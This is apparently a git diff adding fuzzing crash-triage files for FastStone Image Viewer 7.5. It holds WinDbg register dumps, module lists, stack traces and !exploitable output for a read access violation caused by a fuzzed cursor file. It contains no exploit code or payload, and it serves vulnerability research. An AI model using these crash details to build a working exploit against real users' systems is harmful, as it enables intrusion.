+005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.483137999899839760000e+0017 st5= 8.483139717886758400000e+0017 +st6= 2.539999999999999999970e+0000 st7= 1.839593400000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14f8fd10 0060d6fc 00000000 14f8fd78 14f8fd48 image00000000_00400000+0x1bdfc9 +14f8fd88 005ff93f 14f8fde8 005ffbc2 14f8fde0 image00000000_00400000+0x20d6fc +14f8fde0 0090e28b 14f8fdf4 0090e3b5 14f8fe38 image00000000_00400000+0x1ff93f +14f8fe38 0090efea 14f8fea4 14f8fea8 14f8feac image00000000_00400000+0x50e28b +14f8fec0 008d05d5 14f8fed4 008d06ab 14f8ff00 image00000000_00400000+0x50efea +14f8ff00 008d0991 14f8ff14 008d0a43 14f8ff2c image00000000_00400000+0x4d05d5 +14f8ff2c 0042c0bf 14f8ff40 0042c0c9 14f8ff5c image00000000_00400000+0x4d0991 +14f8ff5c 00404c22 14f8ffcc 0040475c 14f8ff70 image00000000_00400000+0x2c0bf +14f8ff70 7572f989 0800bec0 7572f970 14f8ffdc image00000000_00400000+0x4c22 +14f8ff80 770b7084 0800bec0 3c978e4b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14f8ffdc 770b7054 ffffffff 770d62bb 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14f8ffec 00000000 00404bf8 0800bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14f90002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/34479/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/34479/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..afaca85 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/34479/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xAF0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xAF0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bc0000 00000000`74be8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74a1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a20000 00000000`74bba000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`743e9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743f0000 00000000`749f4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13e90000 00000000`13f6e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(af0.364): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14f90002 ebx=0000061e ecx=07f08180 edx=000005a6 esi=12824370 edi=0da6afd4 +eip=005bdfc9 esp=14f8f868 ebp=14f8fd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.483137999899839760000e+0017 st5= 8.483139717886758400000e+0017 +st6= 2.539999999999999999970e+0000 st7= 1.839593400000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14f8fd10 0060d6fc 00000000 14f8fd78 14f8fd48 image00000000_00400000+0x1bdfc9 +14f8fd88 005ff93f 14f8fde8 005ffbc2 14f8fde0 image00000000_00400000+0x20d6fc +14f8fde0 0090e28b 14f8fdf4 0090e3b5 14f8fe38 image00000000_00400000+0x1ff93f +14f8fe38 0090efea 14f8fea4 14f8fea8 14f8feac image00000000_00400000+0x50e28b +14f8fec0 008d05d5 14f8fed4 008d06ab 14f8ff00 image00000000_00400000+0x50efea +14f8ff00 008d0991 14f8ff14 008d0a43 14f8ff2c image00000000_00400000+0x4d05d5 +14f8ff2c 0042c0bf 14f8ff40 0042c0c9 14f8ff5c image00000000_00400000+0x4d0991 +14f8ff5c 00404c22 14f8ffcc 0040475c 14f8ff70 image00000000_00400000+0x2c0bf +14f8ff70 7572f989 0800bec0 7572f970 14f8ffdc image00000000_00400000+0x4c22 +14f8ff80 770b7084 0800bec0 3c978e4b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14f8ffdc 770b7054 ffffffff 770d62bb 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14f8ffec 00000000 00404bf8 0800bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14f90002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/34479/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/34479/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..622f626 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/34479/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/41221/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/41221/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..3f00454 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/41221/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000150d0002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/41221/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/41221/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..ccd7bbd Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/41221/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/41221/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/41221/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..fc63416 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/41221/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1F00: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1F00: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 